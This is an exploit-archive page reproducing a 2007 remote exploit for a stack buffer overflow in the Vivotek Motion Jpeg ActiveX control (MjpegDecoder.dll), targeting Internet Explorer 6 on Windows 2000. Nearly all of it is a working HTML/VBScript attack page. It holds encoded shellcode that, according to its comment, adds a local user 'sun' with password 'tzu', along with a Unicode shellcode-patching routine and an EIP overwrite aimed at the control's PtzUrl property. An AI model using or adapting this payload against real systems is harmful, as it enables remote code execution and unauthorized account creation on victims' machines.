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Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) Remote Exploit

🗓️ 31 May 2007 00:00:00Reported by rgodType 
zdt
 zdt🔗 0day.today👁 37 Views

Vivotek Motion Jpeg Control Remote Exploit for MjpegDecoder.dll 2.0.0.1

Code
======================================================================
Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) Remote Exploit
======================================================================

<!-- IE 6 / Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13)
remote buffer overflow exploit / win 2k sp4 en version
by rgod
site: retrogod.altervista.org

software site: http://www.vivotek.com/
"VIVOTEK INC. is a leading IP surveillance camera and Network
camera firm specialized in IP camera, Wireless network camera,
IP surveillance camera"

some notes,
PtzUrl property is vulnerable to a stack based buffer overflow
we are in control of EIP, ESI, EDI, EBP , *all* in UNICODE
expanded strings
I used the "venetian method" to fully patch the shellcode
This works from remote (2 on 3) or by dragging the html file
into the browser window, not by clicking it

Object safety report:

RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
-->
<HTML>
<OBJECT classid='clsid:EAA105FE-7BBD-4196-8B96-D46743894195' id='MjpegControl' ></OBJECT>
<script language='vbscript'>

' metasploit one, alpha2... add a user 'sun' with pass 'tzu'
FRAGMENT = unescape("%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%71%40%71%40%71%40%71%40%71%40%72%40%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%59%05%f8%ff%49%49%49%49%49%49%49%49%49%51%6a%58%30%31%42%42%78%42%42%41%30%41%50%42%75%39%6c%48%44%70%70%50%4b%35%6c%4b%6c%65%58%31%6f%4b%6f%38%4b%4f%70%61%6b%69%6b%34%6b%51%6e%31%70%79%6c%64%30%64%37%31%7a%4d%51%72%6b%54%4b%34%44%64%65%45%6b%4f%44%31%6b%66%4b%6c%6b%4b%6f%4c%71%4b%4b%4c%6b%51%4b%79%6c%54%74%73%61%50%64%4b%70%50%75%70%58%6c%4b%50%6c%6b%50%6c%4d%6b%38%48%4b%79%6b%30%50%70%30%70%4b%78%4c%6f%41%46%50%46%69%58%53%70%6b%50%48%6e%38%72%53%38%78%4e%6a%4e%37%6f%47%73%6d%44%4e%35%38%45%50%6f%43%30%4e%45%34%30%55%33%75%42%70%43%65%4e%50%54%58%35%70%4f%61%44%34%50%56%56%50%4e%55%64%50%6c%6f%63%51%4c%47%72%6f%75%70%30%71%44%6d%49%6e%79%73%74%62%41%64%6f%62%63%50%33%65%4e%50%6f%71%34%74%50%c3")

c1 = unescape("%95")                : REM xchg eax, ebp
C2 = unescape("%6e%05%ff%02")       : REM add eax 0200ff00h
C3 = unescape("%6e%2d%12%02")       : REM sub eax 02001200h
C4 = unescape("%6e%40%6e")          : REM inc eax
C5 = unescape("%80%90%6e%40%6e%40") : REM add byte ptr eax 90 , inc eax twice
C6 = unescape("%6e%80%90%6e%40%6e%40") : REM and again ... add byte ptr esi works as nop

CODE = C1 & C2 & C3 & C4 & C5 & C6 & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%90%6e%40%6e%40") & _
unescape("%6e%80%90%6e%40%6e%40%6e%80%03%6e%40%6e%40") & _
unescape("%6e%80%eb%6e%40%6e%40%6e%80%e8%6e%40%6e%40") & _
unescape("%6e%80%ff%6e%40%6e%40%6e%80%ff%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%49%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%49%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%49%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%49%6e%40%6e%40") & _
unescape("%6e%80%37%6e%40%6e%40%6e%80%5a%6e%40%6e%40") & _
unescape("%6e%80%68%6e%40%6e%40%6e%80%50%6e%40%6e%40") & _
unescape("%6e%80%41%6e%40%6e%40%6e%80%41%6e%40%6e%40") & _
unescape("%6e%80%6b%6e%40%6e%40%6e%80%41%6e%40%6e%40") & _
unescape("%6e%80%32%6e%40%6e%40%6e%80%42%6e%40%6e%40") & _
unescape("%6e%80%32%6e%40%6e%40%6e%80%41%6e%40%6e%40") & _
unescape("%6e%80%41%6e%40%6e%40%6e%80%58%6e%40%6e%40") & _
unescape("%6e%80%38%6e%40%6e%40%6e%80%42%6e%40%6e%40") & _
unescape("%6e%80%6d%6e%40%6e%40%6e%80%69%6e%40%6e%40") & _
unescape("%6e%80%4a%6e%40%6e%40%6e%80%70%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%57%6e%40%6e%40") & _
unescape("%6e%80%35%6e%40%6e%40%6e%80%6c%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%55%6e%40%6e%40") & _
unescape("%6e%80%4c%6e%40%6e%40%6e%80%41%6e%40%6e%40") & _
unescape("%6e%80%46%6e%40%6e%40%6e%80%32%6e%40%6e%40") & _
unescape("%6e%80%33%6e%40%6e%40%6e%80%48%6e%40%6e%40") & _
unescape("%6e%80%6c%6e%40%6e%40%6e%80%52%6e%40%6e%40") & _
unescape("%6e%80%72%6e%40%6e%40%6e%80%4c%6e%40%6e%40") & _
unescape("%6e%80%61%6e%40%6e%40%6e%80%75%6e%40%6e%40") & _
unescape("%6e%80%76%6e%40%6e%40%6e%80%58%6e%40%6e%40") & _
unescape("%6e%80%52%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%50%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%55%6e%40%6e%40%6e%80%58%6e%40%6e%40") & _
unescape("%6e%80%70%6e%40%6e%40%6e%80%6b%6e%40%6e%40") & _
unescape("%6e%80%4e%6e%40%6e%40%6e%80%6c%6e%40%6e%40") & _
unescape("%6e%80%6e%6e%40%6e%40%6e%80%6f%6e%40%6e%40") & _
unescape("%6e%80%51%6e%40%6e%40%6e%80%33%6e%40%6e%40") & _
unescape("%6e%80%6f%6e%40%6e%40%6e%80%4b%6e%40%6e%40") & _
unescape("%6e%80%44%6e%40%6e%40%6e%80%65%6e%40%6e%40") & _
unescape("%6e%80%6b%6e%40%6e%40%6e%80%38%6e%40%6e%40") & _
unescape("%6e%80%4a%6e%40%6e%40%6e%80%77%6e%40%6e%40") & _
unescape("%6e%80%36%6e%40%6e%40%6e%80%76%6e%40%6e%40") & _
unescape("%6e%80%56%6e%40%6e%40%6e%80%51%6e%40%6e%40") & _
unescape("%6e%80%4a%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%61%6e%40%6e%40%6e%80%66%6e%40%6e%40") & _
unescape("%6e%80%43%6e%40%6e%40%6e%80%48%6e%40%6e%40") & _
unescape("%6e%80%50%6e%40%6e%40%6e%80%6c%6e%40%6e%40") & _
unescape("%6e%80%36%6e%40%6e%40%6e%80%62%6e%40%6e%40") & _
unescape("%6e%80%6c%6e%40%6e%40%6e%80%33%6e%40%6e%40") & _
unescape("%6e%80%55%6e%40%6e%40%6e%80%67%6e%40%6e%40") & _
unescape("%6e%80%7a%6e%40%6e%40%6e%80%4c%6e%40%6e%40") & _
unescape("%6e%80%75%6e%40%6e%40%6e%80%4e%6e%40%6e%40") & _
unescape("%6e%80%75%6e%40%6e%40%6e%80%4a%6e%40%6e%40") & _
unescape("%6e%80%4f%6e%40%6e%40%6e%80%43%6e%40%6e%40") & _
unescape("%6e%80%77%6e%40%6e%40%6e%80%67%6e%40%6e%40") & _
unescape("%6e%80%4b%6e%40%6e%40%6e%80%55%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%30%6e%40%6e%40") & _
unescape("%6e%80%6c%6e%40%6e%40%6e%80%43%6e%40%6e%40") & _
unescape("%6e%80%66%6e%40%6e%40%6e%80%6f%6e%40%6e%40") & _
unescape("%6e%80%6b%6e%40%6e%40%6e%80%32%6e%40%6e%40") & _
unescape("%6e%80%66%6e%40%6e%40%6e%80%4c%6e%40%6e%40") & _
unescape("%6e%80%51%6e%40%6e%40%6e%80%46%6e%40%6e%40") & _
unescape("%6e%80%6e%6e%40%6e%40%6e%80%42%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%6e%6e%40%6e%40%6e%80%45%6e%40%6e%40") & _
unescape("%6e%80%54%6e%40%6e%40%6e%80%7a%6e%40%6e%40") & _
unescape("%6e%80%37%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%4b%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%53%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%4c%6e%40%6e%40") & _
unescape("%6e%80%71%6e%40%6e%40%6e%80%77%6e%40%6e%40") & _
unescape("%6e%80%53%6e%40%6e%40%6e%80%47%6e%40%6e%40") & _
unescape("%6e%80%6b%6e%40%6e%40%6e%80%73%6e%40%6e%40") & _
unescape("%6e%80%51%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%6a%6e%40%6e%40%6e%80%4d%6e%40%6e%40") & _
unescape("%6e%80%4b%6e%40%6e%40%6e%80%61%6e%40%6e%40") & _
unescape("%6e%80%30%6e%40%6e%40%6e%80%32%6e%40%6e%40") & _
unescape("%6e%80%61%6e%40%6e%40%6e%80%4e%6e%40%6e%40") & _
unescape("%6e%80%49%6e%40%6e%40%6e%80%32%6e%40%6e%40") & _
unescape("%6e%80%55%6e%40%6e%40%6e%80%6e%6e%40%6e%40") & _
unescape("%6e%80%4b%6e%40%6e%40%6e%80%4e%6e%40%6e%40") & _
unescape("%6e%80%64%6e%40%6e%40%6e%80%46%6e%40%6e%40") & _
unescape("%6e%80%59%6e%40%6e%40%6e%80%7a%6e%40%6e%40") & _
unescape("%6e%80%51%6e%40%6e%40%6e%80%30%6e%40%6e%40") & _
unescape("%6e%80%62%6e%40%6e%40%6e%80%66%6e%40%6e%40") & _
unescape("%6e%80%55%6e%40%6e%40%6e%80%64%6e%40%6e%40") & _
unescape("%6e%80%62%6e%40%6e%40%6e%80%67%6e%40%6e%40") & _
unescape("%6e%80%54%6e%40%6e%40%6e%80%52%6e%40%6e%40") & _
unescape("%6e%80%51%6e%40%6e%40%6e%80%72%6e%40%6e%40") & _
unescape("%6e%80%32%6e%40%6e%40%6e%80%74%6e%40%6e%40") & _
unescape("%6e%80%71%6e%40%6e%40%6e%80%52%6e%40%6e%40") & _
unescape("%6e%80%74%6e%40%6e%40%6e%80%61%6e%40%6e%40") & _
unescape("%6e%80%53%6e%40%6e%40%6e%80%35%6e%40%6e%40") & _
unescape("%6e%80%53%6e%40%6e%40%6e%80%31%6e%40%6e%40") & _
unescape("%6e%80%72%6e%40%6e%40%6e%80%57%6e%40%6e%40") & _
unescape("%6e%80%62%6e%40%6e%40%6e%80%72%6e%40%6e%40") & _
unescape("%6e%80%54%6e%40%6e%40%6e%80%65%6e%40%6e%40") & _
unescape("%6e%80%36%6e%40%6e%40%6e%80%52%6e%40%6e%40") & _
unescape("%6e%80%50%6e%40%6e%40%6e%80%67%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%37%6e%40%6e%40") & _
unescape("%6e%80%77%6e%40%6e%40%6e%80%37%6e%40%6e%40") & _
unescape("%6e%80%72%6e%40%6e%40%6e%80%33%6e%40%6e%40") & _
unescape("%6e%80%31%6e%40%6e%40%6e%80%77%6e%40%6e%40") & _
unescape("%6e%80%50%6e%40%6e%40%6e%80%70%6e%40%6e%40") & _
unescape("%6e%80%70%6e%40%6e%40%6e%80%73%6e%40%6e%40") & _
unescape("%6e%80%62%6e%40%6e%40%6e%80%52%6e%40%6e%40") & _
unescape("%6e%80%30%6e%40%6e%40%6e%80%70%6e%40%6e%40") & _
unescape("%6e%80%70%6e%40%6e%40%6e%80%30%6e%40%6e%40") & _
unescape("%6e%80%61%6e%40%6e%40%6e%80%33%6e%40%6e%40") & _
unescape("%6e%80%62%6e%40%6e%40%6e%80%70%6e%40%6e%40") & _
unescape("%6e%80%42%6e%40%6e%40%6e%80%70%6e%40%6e%40") & _
unescape("%6e%80%61%6e%40%6e%40%6e%80%50%6e%40%6e%40") & _
unescape("%6e%80%70%6e%40%6e%40%6e%80%31%6e%40%6e%40") & _
unescape("%6e%80%32%6e%40%6e%40%6e%80%31%6e%40%6e%40") & _
unescape("%6e%80%70%6e%40%6e%40%6e%80%41%6e%40%6e%40") & _
unescape("%6e%80%71%6e%40%6e%40%6e%80%57%6e%40%6e%40") & _
unescape("%6e%80%74%6e%40%6e%40%6e%80%61%6e%40%6e%40") & _
unescape("%6e%80%32%6e%40%6e%40%6e%80%57%6e%40%6e%40") & _
unescape("%6e%80%64%6e%40%6e%40%6e%80%53%6e%40%6e%40") & _
unescape("%6e%80%47%6e%40%6e%40%6e%80%63%6e%40%6e%40") & _
unescape("%6e%80%75%6e%40%6e%40%6e%80%90%6e%40%6e%40%6e%40%6e")

bof         = string(262,unescape("%12"))
useful_junk = unescape("%12%12%12%12") 'not touch
junk        = string(32,unescape("%12"))
eip         = unescape("%23%7d") : REM 0x007d0023   call edi,  module comctl32 found with msfpescan
suntzu      = bof + eip + useful_junk + junk + CODE + FRAGMENT + string(16,unescape("%90"))

MjpegControl.PtzUrl = suntzu

</script>
</HTML>



#  0day.today [2018-01-01]  #

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Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

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31 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1
vivotekmjpegdecoder.dllremote exploitbuffer overfloweipesiunicodeshellcoderemotemetasploitbufferobject safetyexploitip cameranetwork camera
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